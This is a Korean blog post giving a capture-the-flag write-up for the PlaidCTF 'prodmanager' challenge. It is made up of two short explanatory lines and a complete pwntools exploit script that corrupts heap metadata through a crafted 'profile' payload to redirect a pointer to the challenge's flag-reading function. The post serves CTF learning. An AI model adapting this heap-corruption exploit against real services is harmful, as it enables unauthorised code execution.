ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Plaid CTF prodmanager
    CTF 2017. 1. 7. 00:21

    list ptr 로 읽을수있고, create -> add -> profile로 풀수있다.


    우선 플래그를 읽어주는 함수가 있어서, 그게 우리가 주소를 아는 ptr로되기 때문에 그  ptr로 돌려서 풀수있음


    from pwn import *
    
    p = remote("10.211.55.3",11111)
    
    def create(name,price):
        print p.recvuntil("Input: ")
        p.sendline("1")
        print p.recvuntil("name: ")
        p.sendline(name)
        print p.recvuntil("price: ")
        p.sendline(str(price))
    
    def delete(name):
        print p.recvuntil("Input: ")
        p.sendline("2") 
        print p.recvuntil("remove: ")
        p.sendline(name)
    
    def add(name):
        print p.recvuntil("Input: ")
        p.sendline("3")
        print p.recvuntil("add: ")
        p.sendline(name)
    
    def list():
        print p.recvuntil("Input: ")
        p.sendline("4")
    
    
    def profile(data):
        print p.recvuntil("Input: ")
        p.sendline("5")
        print p.recvuntil("profile!")
        p.sendline(data)
    
    
    ptr = 0x804C1C0
    data = 0x804C3E0
    list1 = "A"*40
    list2 = "B"*40
    list3 = "C"*40
    list4 = "D"*40
    list5 = "E"*40
    list6 = "F"*40
    create(list1,10)
    create(list2,20)
    create(list3,30)
    create(list4,40)
    create(list5,50)
    create(list6,60)
    
    add(list1)
    add(list2)
    add(list3)
    add(list4)
    add(list5)
    add(list6)
    
    delete(list5)
    
    payload = ''
    payload += p32(8)  
    payload += p32(0x51)
    payload += p32(0x50)
    payload += p32(ptr)
    payload += p32(data-24)*2
    profile(payload)
    
    list()
    list()
    p.interactive()


    'CTF' 카테고리의 다른 글

    H3X0R CTF ezheap  (1) 2017.01.08
    H3X0R CTF Be rich  (0) 2017.01.08
    [BoB CTF] casino  (0) 2017.01.04
    [BoB CTF] megabox  (0) 2017.01.04
    [christmas ctf 2016] who is solo 문제풀이  (0) 2016.12.25

    댓글

Designed by Tistory.